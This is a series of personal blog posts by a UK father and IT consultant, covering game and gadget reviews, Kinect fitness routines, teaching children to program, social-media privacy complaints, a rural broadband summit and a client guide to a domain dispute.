You can watch the accompanying YouTube video which explains the game play mechanics far better than any attempt on my part to describe them which leaves me the space to say.

This is a perfect short format ,quick play ,game that utilises a moving ‘first turn’ mechanic  which changes  the choices available to each player as the round plays out. Sometimes the very thing you need to complete an objective will be in the hands of your competitors and other times you will be aiding them in their movements and the race to complete the tasks and return to the Century Club before you. It is a simple enough board game with a fast playing rule set that allows for a certain amount of strategy and guile and frustration. A Varying level of difficulty level is available by using the other side of each tile but I suspect every player will soon have their preferred tactics in approaching the game.  This is the game for after lunch with the family or whilst your waiting for the last few turns in Rex Imperium sitting as it does somewhere between a casual game  and Carcassonne.

Go buy it if only because of the Gorilla in the Jetpack.

This is not Googles fault ; they are having to follow guidelines created by governments. Meanwhile schools in the UK can provide my child with an email account and I have not control over who has access to that.

So on the one hand a corporate is not allowed to provide me a tool to create an email service for my own family but a government can provide my daughter with an email account in which I have no say or access or oversight as to whom is accessing her inbox without our permission. 

I could have avoided some of this hassle by creating my own mail server but I would not have had access to the virus and spam blocking tools that Google provide. I would not have had access to the Mail routing other granular controls available from Google Apps for Your Domain.  I can control read receipts , disable imap and pop , allow mail to be delegated to other users block specific senders from outside her control and restrict domains for which mail can be delivered I can block attachment types and limit message size. The wealth of useful control for a technically capable parent is stunning and a singular reason to suggest that Google Apps need a For Your Family subset of their product and they need it soon.  It is possible I could have created an account on SafenSound but in watching the video I can point out a number of flaws in such Helicopter parenting ( but thats not the point of this post )

I am not angry at Google , I dont fault them for following policy. I am angry that yet again Government policies are restricting my daughters and my own experiences online. I am angry that the policy requires me to lie on behalf of my daughter and to encourage her to actively be dishonest on websites that need to know her age. I am angry that to get this fixed the conversation could never include the fact that a nine year old was accessing an email account. That she  is only  accessing and  not in control or in ownership of the account could not come into the conversation. I am angry because this sort of short sighted policy gets built and makes it harder to families to grow into an online community.

When politicians pass laws to try to protect online communities they are quite often informed that the expected outcomes of their policies will not be the ones they intended. For my Daughters to use the internet and the service I wish her to access and, because of a law passed by an American Govt  I have explained  when asked for a date of birth online she will have to see me; and I will say her date of birth is 01 January 1900 ; just like her Dad.

Incidentally if you are curious as to how I encourage my children to remain safe online then you can read my article in that link.

Thanks for reading.

I think this qualifies as probably the most unusual things I have done in 2012. Getting an invite asking me if I want to help on a project that was looking for a Video Game playing Dad   I was happy to help.

Discovering that it was an audition for an advert then deciding to walk right in and  audition just to see what happens explains something of how I  approach opportunities. I am on screen  for a little more than 3 seconds. I sat on that couch and played a video game for nearly 7 and a half hours but that is only part of the experience. Screentests, wardrobe tests , makeup, lighting , being directed but not acting and when I say ‘YES’ it really was due to a successful event on screen. The work that goes into preparing for such a production  and the work that occurs afterwards is impressive and that is an understatement.

So yes I appeared in an advert and having seen the range of adverts that have been produced for this campaign  I am left admiring what they are doing with the themes and the tunes.The most interesting part in this experience was taking a lesson from @sizemore and realising that until it was on the screen then there was no point in talking about it.

There have been upgrades to Windows 8 , improvements to health and monitoring of that event. New skills learnt and some promises broken and some interesting times in the land of advertising. All of this shall get its own space and its own content; for now lets make do with my new mugshot and hopefully as I write about the past few months it puts into content what has changed and what remains the same.

Since I am in the mood for oversharing  I have connected the wordpress jetpack:publish plugin to automate and manage the publication of new articles and to allow you to choose to subscribe to my blog via email and etc etc. Now maybe I might work on my twumblous idea for 2013.

thanks for reading.

UFC Trainer for the Xbox box 360 requires at least an hour per session to make the most from the routines. Where Your Shape Fitness Evolved was an extremely cardio and aerobic workout  UFC Trainer was far more resistance and strength based with longer routines leading to a greater level of  energy required to complete them.

Personally I do not feel I would have been as motivated or able to complete them had I not started with a few months of Fitness Evolved; because UFC Trainer tough , it brings in Pushups, Free Weights , Boxing , Kicks and a series of fitness levels across  Weight , Strength or Endurance routines which scale up quickly through the routines. After a few months of UFC Trainer my physical tone and shape was changing as muscle  built and fat continued to disappear.  Workouts typically required 30 to 90 minutes to get the best from them and the additional quick routines along with set trainer routines added to the variety of achievement to be gained from the game. 

Tracking for the majority of exercises is fair and like any other Kinect title it helps if you have plenty of space and room to ensure your pushups, situps , kicks and punches are being registered.Special mention should go to the Pushup register which was flaky at best and between that and the twisting lunge is much frustration in being told you are failing an exercise whilst you know you are completing it.

If you are speculating over the purchase of this Game for the purpose of improving on an already existing regular fitness routine then do not hesitate. The additional instruction and advice videos unlocked as you progress are invaluable in their own right. 

Currently I am taking a break from usingUFC Trainer  as the Hard Level Endurance that I have planned will require 60+ minutes over 60 days and it may be easier to wait until Summer holidays roll around to avoid having to rush my mornings.

All the above being said I note that Nike is about to release a Nike + Kinect range and it is very likely that this will be my new September routine.

Thanks for reading ;

Consider my experiences so far.

Gamesmaster , although aimed at kids ,which I was at the time , and suffering from the rather limited opportunities afforded by video games of the era. It made a good stab at acknowledging that children might be interested in more than Football and reruns of the Irish Why Dont You Gang. It didnt last.

 Thumb Bandits arrived in the 21st Century it was smarter, it had followed the audience and recognised we had grown up ; I enjoyed it , I liked it , I realised it was not going to last.

 The 1Up Show , was my first exposure to downloaded video podcast content. I consumed first on my PC then on my iPhone.  It was as if the Videogame Show format was  growing with me and now I had a show that talked to the grown up gamer that I was. It too was eventually cancelled.

 CO-OP came along as  the team  , who had been left swinging in the wind by the end of The 1Up show, had followed through with Revision3 and a new show arrived but its heart had been gutted.

By now I was getting jade; I was at a place where I realised  Video Game Shows were like Dr Frankensteins early creations, they did not want to live and would soon shudder , fumble and fall as they gave in or folded under duress.

A few years later and I see a new show on TV Ginx and soon enough it too is bounced, relegated and removed. Only  to rebirth itself online as The Blurb. It was too good to be true, the inevitable bleeding of smart and clever people and the irregularity of delivery. Time of Death:2012.

Meanwhile on my Xbox Dashboard the symptoms began. The regular content of SentUAMessage from Dan Maher and Andy Farrant was stuttering. The production was stalling, I could see it clearly had little time left.

Which brings me to the reason for this post. I want to believe that there is a space and a chance for a collection of smart people to build a show about Video Gaming which can thrive in an online world with advertising and with an attitude that its audience is already smart and capable. I want to believe that there is space in the UK for a show that occurs at least bi-monthly and that can grow to become an network on the internet to compete with the likes of Geek And Sundry or Revision 3 and I want to see some of the old Inside Xbox team deliver on that hope.

Project Possum had a target of $10,000 and they have exceeded this with plenty of time to spare. With luck they will more than double it. I along with others  have put my hand in my pocket to back the idea.

What comes next is up to them[1]

Thanks for reading

[1] though secretly I hope to get invited to join that team and help out.

Yesterday I took part in the first  Transmedia event accompanying the launch of The Arrival and which would set the scene for the three year arc which I first contributed at IndieGogo :ClockWork Watch:The Arrival. 

I took very few pictures of the day which is probably a testament to the emersion of the experience which I would categorise as parts Disney Themepark and parts Murder Mystery experience. As guests merged with hosts and non playing characters who set the scene of a Victorian Britain at the moment that Clockwork Automated Intelligence is revealed and society is split over the implications of a possibly automated workforce that might revolutionize or make redundant many parts of society . It was a day of true story telling , imagination , competition , puzzles and subterfuge played against other guests and the hosts and building out a world in which this experience will grow. I count this investment on my part to have been more than adequately repaid and I look forward to see this story unfold on stage, on the web , in meetings and in a possible feature film.  I may have to come back and talk about this some more because trying to compress the experience into a readable few words is proving almost impossible. All I can say is keep a  clockwork watch out for future content.

Peace and Prosperity

Getting the obvious out of the way first:   Video Game, Role Playing Game, Slay bad guys, save good guys, choose choices, change the world. Nothing that has not been done before and it will be done again.

Hold on though!  there is a little more to this game than  hacking, slashing and button mashing  until the evil slithering grumpkins are quicktimed to their last hit point. The Witcher is based on a series of Polish Fantasy Novels by Andrzej Sapkowski ; so here we have a video game based on a world defined by European mythology and with monsters and villains not defined by western tropes and fears. The game got sexy; to the point that like most good things broadcast from the east they are not afraid of some Boobs, Bums or lurid language.  I went as a skeptic, I left with a strong desire to plough that game with all my might in search of one of those satisfying sixteen endings.

Thanks for Reading.

What they dont tell you about owning a device like a Kindle is that it is a gateway drug to book buying. Unlike conventional book experiences you  do not  reach the end of a novel and think ‘Well that was great I must look out for the next book when I am down town’ Instead you are greeted by a  sly message from Amazon that points you to the next book in the series or other books by that author. At that moment its not like you do not have any more books to read and it is just a click away and to easy to do;  and then; you have another book to read and off you go again. This might explain why I did not buy the 3G version of the kindle.

This year the pain of purchases is  alleviated as I am dedicating 2012 to reading Charles Dickens; whose collection of stories and books are for the most part free to download. I shall no doubt write more on that topic  later.

What I wanted to say in this post was this; the Kindle as an ereader has won a place in my patronage of gadgets for its efficiency in space saving, consumerism and content. I know now that I shall be replacing the gadget when this reader finally bites the dust.

Thanks for reading.

Kindle, Wi-Fi, 6" E Ink Display

In January I committed to learning about Git and GitHub and after 4 weeks I can now confirm that I have left my old roots of CVS behind and have moved one of my core client projects into a private Github repository.

What I learnt about Github was less about Github but more about my approach to learning a new subject or toolset. In simple terms these broke down to

• State my problem.
• Seek Good articles explaining how people solved those problems.
• Make note of how I responded to that and tracked them.
• Re-iterate and practice until the skillset is founded.

In 4 weeks my grasp of Github and git for my development toolset is sufficient for me to move forward. Whats for February ? Well you will just have to add me to your feed reader.

Thanks for reading.

It was @DataInadequate who sent me my first few “Field Notes” in response to my usage of Moleskine Journals for blogging. At the time I decided against using them for the blog as I felt it would break the continuity of the books.

However I continued to carry the Field Notes notebooks  with me and they soon transplanted my moleskine journal as a means for occasional note and thought scribbling.

I am grateful that John introduced me Field Notes as until then I was carrying two moleskines around and the bulk of two books was too(hah) much. These slimmer memo books are a similar size if not depth to the Moleskine Journals and the paper and build quality of the notebooks is hard wearing and resilient to my in out, drop , place, cover, spill and walking lifestyle.

I start each new book with a thought on the front cover and when complete I review them for pertinent data that might need to be carried forward , in which case it is stored in @evernote and then the books are archived. I am not going back; I will continue to use my Moleskine for the purpose of writing the blog but I urge you to take a chance on Field Notes as an alternative. Somehow your thoughts feel like they are working if they are written between those brown covers.

Thanks for reading.

So it was that I gathered up my Moleskine and I set a new thought onto the pages every day this year and a few more in the year before. Now there are more than 365 posts and from the first to the current me expectations of what it means to use technology to communicate are rewritten in ink and communicated on a level that currently only  a human will be able to interpret. In the meanwhile I make robots and spiders blind and leave it to another human to find value and meaning in each post.

I like to think that the entries in Loudmouthman.posterous.com are leaving a trail of ideas and inspiration but I fear the lack of dancing kittens might be stalling the acceptance.

Thank you for reading them

This blog post is to describe a little of what goes into my thinking about building out a machine suitable for render work and with I constantly choose to work with Ebuyer when it comes to selecting components and parts.

Lets first talk about Ebuyer website design. It enables the process or selecting components and building a specification in a way that I have not found rivalled by other ecommerce sites ( in the UK ) for an example watch the video below where I explain how to buy a sub £400 laptop and you can see how Ebuyer makes that job simple.

You can see with Ebuyer I can quickly build out components dependent on my expectations in cost and rating. I chose a i7 chipset over Xeon Quads as despite the chipset similarities the i7 and the architecture are establishing themselves as crowd pleasers in the Encode and render stakes and for their price and support a better investment. Other than that the remaining components were down to support from the motherboard and support from the drive manufacturers. Everything else being Windows7 would be down to DirectX support. I could have spent several days twisting the refinement on the specs but the juice squeezed out is rarely more than a few more percentage points. You can see my specification by clicking below.

in hindsight we were extremely lucky to be purchasing hard drives at that time of the year given the later flooding and devastation that was wrought upon Thailand which saw hard drive prices soar; thankfully they are sliding back down again. Meanwhile the addition of the SSD drive added a performance boost to the windows installation and raiding the remaining 3.5” drives ensured that the read/write times for big files would be above expectation.

		Building a Monster VIEW SLIDE SHOW DOWNLOAD ALL

the final part of the problem lay in shipping the box from Horsham in Sussex to somewhere in Spain and ensuring that it arrived in one piece; for which Chordline were able to step up and sort out the questions of delivery, customs and receipt.

You can watch the unboxing of the Monster below or read more about “The Monster Has Arrived”

Thanks for reading.

and how I used it to change my shape , loose weight and regain some energy and a little self respect.

I have been promising to write this post for some months now. I have lost a lot of weight and slimmed down from busting out of 38” waist trousers to happily fitting 36” providing I wear a belt. I proved it was  possible to use the Your Shape: Fitness Evolved – Kinect to improve energy levels and to loose some weight.

It is worth bearing in mind that I am not a doctor nor am I some nutrional or fitness enthusiast who recommends sniffing 30 goji berries a day whilst running a half marathon. I am a married man with two young kids ,a full time job working for my clients  and I am a parish councillor. Let us be clear that I do not exactly overflow with an abundance of spare time ( or cash )

It started in May 2011 with a glimpse at my toes , or rather trying to glimpse my toe , and the realisation that I had to lift my foot forward to see past my belly. Hell I couldn’t even see my dick to pee when trying to use the toilet, things were not in good shape I was actually unimpressed with myself.

I had bought  Your Shape: Fitness Evolved – Kinect   in the year before and had not gotten ‘focussed’ to use it with any anger. I cant tell you when or how this began but I can see from my profile on yourshapecenter.com that  somewhere around May I kicked off and by August I was focused on a daily routine.

This is not a review of the Game since you can find those across the net anywhere.  This is a post on what I did and how I progressed and what I did next.

In May I began light with a focus on doing not more than 30 minutes a day of a routine; no more than 100 calories of exercise for the first few weeks. I was out of shape and frankly the Personal Training ‘Light and Easy’ knackered me out. I selected the Zen routine ( Stream ) and would follow that then switch to the Personal Training choosing a cardio nice and easy routine. Each routine runs for 12 sessions daily and if you do more than one a day it doesnt count them. I would follow with the Punching Game then cool down with the Zen routine followed by the Stack Em Up game.  What I learnt was that it was “okay” to not hit the target repitions or to feel a little knackered and tired but not to be demoralised from this.

to recap :

• 30 mins a day
• warm up with Zen Stream
• Main Personal Training Session : light and easy to start with
• Games : Stack em up
• Cool Down to Zen Stream

By June I was feeling more energised and that 100 Calories was a good warm up. I was switching up to Zen River :Complete for a full warm up then the next level up on the Personal Training ( I cant remember which one though ) and I would add some games ( Hoops and Punching ) then a little Cardio Bronze level and cool down with the Zen moves.  I was doing 30 minutes in the morning and again in the evening. I had signed up to the Yourshape center to track my achievements and this seemed to motivate me to keep hitting the new goals in the list.  I had measured myself on the Wii Fit and was only a little annoyed to see that as far as it was concerned I was 13st 6lbs and still obese. I continued to focus on the routines.

to recap

• 60 mins a day split over the day
• warm up with Zen Stream
• Personal Training : cardio and toning
• Games : Hoops and Punching
• Cooldown : Zen River

In July I noticed the first change up in myself, pants were getting baggier and the shadows on my face had changed I was also finding that I was wanting to push to 300 calories per day of exercise my routine now consisted of Bronze Cardio complete to warm up then a personal training session then a silver or gold cardio session to keep adding on the calorie burn then a long session on the Zen Ocean or River to cool down with. I was now focussed on an hour in the morning and was setting my clock to wake me up at 6am so that I could get enough time ahead of the family. On the weekends I would add some session selections to keep the burn near 300 cals if I could. I also followed the Bollywood sessions even if they seemed to comically speedup when attempting to do them in double time; but for the completionist in me I got them done.  By July I was into 36” jeans and I was doing an hour of cardio and endurance routines each day and I had kicked the drink habit as well.

to recap

• 60 mins in the morning , any extra in the evening
• warm up with Bronze Cardio complete
• Personal Training : cardio and strength building
• Games : Hoops and punching
• Cardio Boxing : Silver or Gole
• cool down : Zen stream or river or ocean

In August I had begun downloading the additional Downloadable Content to extend the Cardio and Fitness routines focussing on at least 300 Calories in the day. By now I had added ‘RunKeeper’ to my iphone and was tracking any bike rides I was doing into town and back. I had also just ordered UFC Trainer ( and I will write up my thoughts on that another time ) the range of routines were pretty used up but I still had a number of Personal Training sessions for arm building and cardio to complete so they became the focus and I was trying to squeeze in at least 2hours a day into my routines, mostly an hour in the morning and another hour in the evening. I measured myself on the Wii-Fit and discovered I had dropped a Stone in the intervening weeks, that was a boost to my morale.

to recap

• 90 mins through the day 60 mins in the morning , 30 mins in the afternoon
• warm up with Cardio Bronze then Gold
• Personal Training : DLC – Gstar and additional fitness routine
• Games : Punching and Hoops
• Cardio Boxing : Platinum and Gold
• cool down : Zen

In September I had moved to using UFC Trainer alongside Fitness Evolved, but thats another blog post.

I have gone from 14st 6lbs in June to a little over 13st by the end of August and I had recovered my energy, my wardrobe oh and I can now see what I am doing when I stand to pee!

In the course of these activities I have occasionally tweeted and shared my experience and achievements ( though Raptr does a good job of helping here ) and have had encouragement as feedback  and a few questions along the way which hopefully I have helped to answer in this post.

What other things did I do to help with the weight loss ?

I stopped drinking beers and wine most nights and I had cut them  almost completely through July and August. I cut back my portions on meals  by a handful less on the plate, nothing scientific  , just a little less on my plate or in my bowl than I usually serve myself. I drank water in the morning before, during and after exercising and I took the stairs and walked  up escalators or  ran up  the stairs whenever I could.

I have a new goal for December and a new target to achieve,  if you are watching me tweet then you may see me head towards it that Goal.

If your thinking  you want to join in and kick some waistline and energy then please feel free to use the affiliate link from Amazon and earn me a few more pennies if you care to.

Thanks for reading.

I do hear the argument and it is repeated often and by people who themselves as kids were not really programmers or interested in programming.

The usual excuses go something like the following

1. Getting teachers for this is very hard
2. Kids would find it boring
3. You have to pick a language and it goes out of date
4. Computers are expensive
5. There is not enough time in the curriculum
6. Kids needs Maths and Science before they can programme
7. Parents would be forced to buy computers
8. Kids would access pornography
9. Think of the children

As a child in school I was lucky enough to be of the era that the BBC was focussed on its computer literacy programme. BBC Micros were flourishing in every classroom and we had the chance to learn about programming. Luckily especially for me because I demonstrated an aptitude for working with computers and programming languages; there was finally something at school at which I excelled.

I was not brilliant at maths I was average in English and poor in science. I hated sports and I could not play a musical instrument but I could sit in front of a computer and write a program. Incidentally at the time of leaving school it was believed then ( and still is today in some less educated establishments ) that you needed an A Level in Maths and Science in order to get onto a University course for computing or even to find a job in programming.  I was not the only one at that time and I suspect that we have missed the opportunities many times over since then for us to find new programmers and open them up to their skillsets.

This topic makes me angry if only because when we discuss how to implement it; various ‘shortcuts’ are suggested such as ‘pseudo code’ or ‘framework codes’ to teach kids the idea of programming. More often than not these do not actually teach anything practical or valuable in terms of seeing, doing and understanding they present routines to complete and then move on.

What I want to see is real world programming using languages like Java, Javscript or PHP and these courses can begin by teach the three basic elements in programming.

• Assign a Value to a Container ( eg  let x=1 or var counter=0; )
• Decide on an action (  if x < 1 then  or  if (x<10); )
• Carry out an Loop ( for y=0 to y<x  or while ( y<x ) ; )

That right there thats programming calling functions ; routines or objects is another layer and debugging and optimisation are features you learn. We can teach this to kids and we can allow them to use simple texteditors  trialling their code in a browser debugging as they go. Programming has very little barrier to entry today.

But if we are not going to do this because of the  reasons listed above then I suggest we put an end to sports, music , arts and crafts and anything outside of Reading and Writing.

See I am so angry I can barely post straight on this topic.

Thanks for Reading.

Come On Klout is it so difficult to accept that people want OUT of KLOUT ?

  I am clearly not ‘Social Media’ enough to warrant the attention of KLOUT. It used to be that their service allowed you to hide your score on Klout and indeed to hide your profile. Now  irrespective of your personal feelings about your score it is not possible to login to Klout claim your profile then hide or disable your Klout profile. They will continue to add metrics and content and give you a score and if you dont play the game and take part then its not your fault if your Klout score is low.  It is not like I have not asked in public and on their forums but as you can see they do not want to answer the difficult questions.

So how about this KLOUT ? I find that your score is personally damaging to my profile and my business. If you cannot remove me from your scoring then I will consider legal action in regards to how you are representing me online against my will.

[Update numero deux] An Email from Klout

When I contacted  the SimpleHuman  Customer service form explaining  what had broken I was expecting a reply which would point me to their spares catalogue.  What I did not expect was an email back that said;

Dear Customer

Thank you for purchasing a simplehuman bin.  I am sorry to hear that the lid has broken and have arranged for a pair of upgraded brushed steel flaps with new hinge pins and fixing instructions to be sent out to you.

Please allow 5/7 days for delivery.

Kind regards

Within  5 days the package arrived containing said brushed steel lid parts, replacement hinges and a clear instruction leaflet detailing how to repair the bin. No invoice , no charge, no additional emails or web browsing just a simple human gesture that said “oh! let us fix that for you”

SimpleHuman  have earnt themselves a level of brand loyalty that PR blogs and ‘Social Media’ types only dream to write about. This blog post is my thankyou to  SimpleHuman for making an after sales experience a pleasant surprise.

You can follow SimpleHuman on twitter as @SimpleHumans

Thanks for reading

[1] In twenty years of being together we have learnt that compromise can breed resentment so we  buy only when we both agree, its slow but it works.

For instance; I am creating a circle for BitCoin and want to invite people to join.

Terence goes a little further and wonders what circles people have created to include him  in.

Whilst I for myself would not want to know what circles I might be in ( intimate ones or the 7th of Hell ones ? ) I might be interested in making some of my Circles public.

Though I can see that being abused by online bullies wanting to make statements in the same way they did with twitter lists.

Your Move Google

I own an iPhone and it is synchronised and managed  via the Mac Mini on our network. The iPhoto Collection of images from the iPhone   have been difficult to access from other Machines. iPhoto does not have the best track record for providing network shares to photo libraries.

Discovering that Windows Live Mesh was available to for the Apple OS X platform meant that I had an answer to the problem of copying all the iPhone/ iPhoto images from one Mac any other Windows Live Mesh Client. Further it had the added advantage of providing multiple backups of all  photographs.

This is what I did

I set up Live mesh on the Windows and Mac clients. On the Mac I configured it to Sync the Folder from ‘Pictures iPhoto Library Masters’ and on the Windows 7 machines I created a new Folder above ‘My Pictures’ called ‘iPhoto’. I then selected that folder as the destination for the sync feed at each client.

I chose a folder above the ‘My Pictures’ folder because I had  configured a ‘My Pictures’ Sync Feed between all my Windows 7 Clients. I added the iPhoto folder to the Libraries for Photos in explorer and I was done.

Now all the Windows Machines get a copy of my iPhoto library . The Sync is  one way as iPhoto does not care about Windows Live Photogallery changes. 

Windows Live Mesh does not appear to have any limits to the size of the duplications so there is no Dropbox style limits

Oh and one more thing; Sharon has her own Windows Live Essentials Account I shared the iPhoto masters library with her account  in addition to my own, making Windows Live Mesh an efficient way to share the Photos with other user accounts that you trust something Dropbox users are familiar with.

Now with the luck of Google juice people looking for ways to duplicate and access their iPhoto collections with Windows machines will have an answer.

Thanks for reading.

Thanks for retweeting.

Dell Techcamp 2011 was part showcase, part conference , part meet Dell and their partners  and mostly it was  part of the day. From a buying perspective I could note nothing of individual merit other than the confirmation that the updated Vostro v130 would feature an improvement to the design of its battery life. 

I left the techcamp ( can we call it a conference ? ) with the knowledge that I had been given the opportunity to highlight one aspect of design and delivery for Dell that had  gone overlooked among the demonstration for the day.

The unboxing and subsequent  disposal of packaging of the Dell Experience. I speak of the abundance of twist ties and cable wraps, plastic sleeves and plastic covers. CDs and Cardboard cases.

Whilst Dell have made excellent progress in updating the materials and product for protecting the goods on route to the customer what we are left with are robust boxes, plastics and wires which must be disposed of. The materials used in their manufacturer have improved and their design to degrade and reduce volume is noticeable.  Dell offer to recycle your old PC if you put it back into the box in which the new machine arrived however many businesses will sell old machines onto employees and the boxes and packaging remain to be disposed..

From my own experiences and metrics ( based on timesheets for work I have done on site ) I can see that delivery and installation  of Dell computers has reduced in onsite time from appx 180minutes to 90 minutes per device. In examining the process I can see that at least 20minutes of my time is spent in handling and managing packaging. Not only the time to remove the equipment , remove the plastic, remove the tie wraps and then to fold, pack , collapse and dispose of the packaging are factors in hardware delivery.  It needs only three new computers and I am charging my client for an additional hour of my time to install and configure said equipment.

Hats off to Dell for listening to  my comments and taking the next to introduce me to people within  Dells whom are  responsible for packaging and the ‘out of the box’ experience

If I had a wish list of what Dell could change in their delivery it would be.

1. Provide a URL to all ISOs that represent CDs delivered with equipment. Alternatively provide them on a single USB stick.
2. Discover a replacement to tiewraps and wire ties as well as plastic sleeving on folded cables.
3. Allow me to pack down packaging and return it to claim a deposit which can be used as a credit against my next Dell purchase. Make it worth my while to return you the packaging material which can clearly be reused.

So there we go ; I went to see tech and I left with a wish list in cardboard and bamboo lets see whats next. 

Thanks for reading.

#dtc2011 , #delltechcamp

I would challenge the software industry that it needs to build into its installation or upgrade process a two factor process that first requires the user to enter a passphrase that has been set by the user and stored with the software developer accessible via a unique one time string provided by the developer. In short we are adding a level of effort to the installation process that allows the developer to confirm that they are the ones delivering that update.

An example of this;

.

Dropbox requires me to install an upgrade; as part of that process I set the passphrase on Dropbox website fro the machine I am installing and get a short code back in response. I enter that shortcode back into the upgrade ( this is before I have entered a administrator passphrase ) and the upgrade if valid would talk with the software provider by way of this code effectively  authorising the code. Checking back on the website I could see if the passphrase was accepted and continue. Now there is a LOT of overhead in this process but the benefits of security and authenticity should outweigh the costs. This process could be extended into a process/gateway broker system which could be used by system administrators to globally manage machine upgrades and to ensure that machines can be additionally locked down whilst pre approving upgrades.

No doubt people will tell me this wont work but I challenge them to consider a better proposal.

Thanks for reading.

The next round of social media invites has flooded into my attention. This time it is Tag.Connect.me.

A service which says;

Tagging lets your friends and colleagues know you respect them AND it creates contexts for your personal Connect.Me. Learn more

I got tagged today which is how I knew my details were now on their website although given the amount of betas I have signed up for I am not sure that I hadnt asked to sign up at some prior date( this is not a bad thing of itself )

I was tagged  “technology”, “admin” , “systems”, “digital”, “politics” and “digital”. What If I had disagreed with those tags ? What if I wanted to hide what people were saying about me on this site ? What if I wanted to opt out of being involved in the process ? There is nothing on their website that gives me that level of control.

Speaking of control what is top stop anyone from posting malicious or controversial tags ?

I have speculated in the past that there is a problem with #Hashtagging of articles and content. It is too easy to poison those tags with malicious content or associations. HashTag poisoning is simple to achieve and whilst it creates noise and spam for other listeners there is little to stop the trolls and bullies from using fake accounts to create profiles and in turn associate and ‘tag’ an individual in a harmful fashion. It is interesting to read Connect.me statement on Trust because I dont feel that the statement is reflected in my own profile settings or account control.

If Connect.Me want to make their service good, if they want to make their service useful they need to do three things immediately.

1. Allow a person to remove tags that have been assigned to them and to report a person for allocating malicious tags
2. Allow a person to opt/out .. not simply account delete but hide and remove their profile whilst remaining in control of the profile
3. Make it easy to control if you will appear in searches by google from that site.

Many social media sites have to ‘automatically’ include a social media profile in order to provide any value these optioned in sites remove privacy for individuals by forcing them to login and ‘claim’ their profiles and I feel that this is a level of openness too far. But I could be being cranky, what do you think ?

Thanks for reading.

The Moleskine notebooks will continue to be used for my side project ;  Paper & Pen Blog and the  Field Notes notebooks are  the goto for spot, jot and scribbling of ideas and thoughts. 

Like Warren I headed to The Paperie  and ordered my 3Pack of plain notebooks and these tidy brown books now accompany my daily wanderings and meetings. Thanks John and thanks Field Notes.

Thanks for reading.

I was fortunate to be invited to attend the recent West Sussex Better Connected : Rural Broadband Summit 2011 which was held in the council chambers at Chichester on May 20th.

It was arranged by Nick Herbert MP and by the members and staff of West Sussex County Council. It featured a number of delegates , listed below , and was attended by many parish councillors and interested parties; you can view a full list on this handout available from Nick Herberts website. 

The Session was recorded on West Sussex Public i.tv however I cannot embed this video from their site so for the moment you will have to click on this link : West Sussex Better Connected 20 May 2011 Video to open a new window.

Throughout the summit is was clear that the term ‘super fast’ broadband speed was defined by a speed of at least 24Mbps (mega bits per second ) and whilst there was a  Govt target set by DCMS as 2Mbps this was to be considered the minimum acceptable speed for connectivity. I should emphasise that no point in the conversations was anything less than  10Mbps considered as reasonable. I think we need to end the 2Mbps propaganda and focus on what is available to communities if they want it.

Of the talks given I was left with the impression that Jeremy Leggett of Action In Rural Sussex (AiRS ) fully understood the implications of slow internet access to communities further Jeremy demonstrated Community21.org a tool for parish planning and community management and a pretty good step forward in the direction of open administration . Bill Murphy , Managing Director of BT Next Generation Access gave a talk which left a few of us feeling ‘told off’ and berated for considering anything other than BT for delivering broadband to communities. Finally Jeremy Hunt MP arrived to conclude the talk and sum up the views of the Govt in its concerns over broadband speeds in the UK. 

It was made clear by  Jeremy Hunt MP  and by Robert Ling ( of Broadband Delivery UK ) that councils, parishes and communities could assemble a broadband action plan detailing how they would deliver broadband to their neighbourhood as well as how funds would be met. In turn the Govt would look to provide additional , or possibly matched , funding to those projects to aid in their completion. This is an opportunity for villages and towns to take on the delivery of their communication infrastructure and to improve it.

Throughout the day I had been dogged in pursuing  the question of price and cost.  I posed the question “Where can I get a price list of the necessary items required to put super fast broadband into my area ?”. As a councillor I am familiar with the publication LCR which is ‘the voice of Local Councils’ and in which there are adverts for playgrounds, streetlighting and furniture.  I persisted that it must be possible to have a price list or a quotation  which could be taken back to our parish and town councils with the view to planning budgets. As I persisted in questioning it was obvious that this had not been addressed.

A whole day spend talking about why we need a product and at the end when asked for the costs , none was available.

I am pleased to say that at the end of the summit Louise Goldsmith ( Leader, West Sussex County Council ) and Peter R Cowen ( Partnership Director Retail BT ) approached me to suggest that the Broadband Consortium and Mike Hickes ( WSCC Broadband Programme Manager ) would endeavour pull together this price list as a starting point for conversations at council and community levels.  Dr Robert Sullivan ( Chief Executive Broadband Delivery UK ) suggested there was a Huddle group which contained some of the more salient details I was seeking , later Robert Ling ( @ling_robert )   direct messaged me via Twitter to point out  www.bigsocietybroadband.coop and www.ruralbroadband.com  as resources for that information though I cannot find that data despite crawling the website  so it remains unavailable.

Our next actions

It is clear to me that groups, communities, parish , town and county councils need to have a clear price list and minimum specifications for the delivery of broadband infrastructure. It begins with price lists and work orders and builds out to fully completed parish plans ( no doubt management agencies will spawn to provide consultancy to council and groups to help them get funding ) form there orders need to be raised and work commenced. An ordinary person approaching these sort of disjointed and multi faceted tasks might bulk at the thought. My own experience in working with the Open Source community leaves me with the mind set that these goals are entirely achievable and that management and delivery of these projects is a task best approached in small chunks and tiny bites.

Money will need to be raised, either in kickstarter projects, donations or  increases in precepts ( another word for tax ). None of this can begin unless we draw a clear line in the accounts for the amount we need to raise and how that money will be managed.

What is clear to me is that the opportunity is now open for those who want super fast broadband to begin to plan and  deliver on that need and that Local Councils are encouraged to aid and deliver and ensuring that hurdles to planning can be passed.

Thanks for reading.

On the one hand Ed Vaisey insists that companies should be doing all they can to protect the identities and information of the users of their networks,  as you can read more in this Games Politics article. 

Which beggars belief when you consider that on the other hand and  in the same capacity Ed is responsible for overseeing an Act of parliament whose very purpose is to disclose personal information of network users on vague requests and accusations made by media companies , more on that from the Telegraph article on that topic.

So which is it to be Ed ? Privacy or Piracy ?

This is an extract from the email that I sent to the client , including explanations of why and how I did some things.

Client this is your step by step guide to help get you out of the hole; I cant do some of these tasks because I dont own / register the domains and it will speed things up if I step back a moment to let you correctly converse over your domains.

I will put in bold those bits that need me to be copied or emailed and I will put in italic those things which need you to keep a note as you go.

Step 1: Resolution of .COM domain names.

Goto http://support.onlinenic.com/index.php?_m=core&_a=register and Register for a new account.

I would do this step but I suspect your own name and therefore your name on the ‘whois’ details on the account will speed up the resolution process since they will be verifying ownership.

Once registered you will receive an email to validate your account .

Send me your Login Details to that account so that I can raise the tickets for you

You now goto Step 3:

How did I know to use onlinenic.com ?

If you visit a site like whois.domaintools.com and enter your domain name you will see the details of your domain. Look for the line that reads ‘Registrar:’ That  is the name of the Registrar for your domain and they should have  domain resolution and complaints section. Note that not all  domain resolutions are managed so elegantly so if you are in the UK check with nominet as they have a phone number you can contact to discuss your issue.

Step 2. I will raise the tickets for your domains as a Complaint resolution between yourself and the disputed registrar

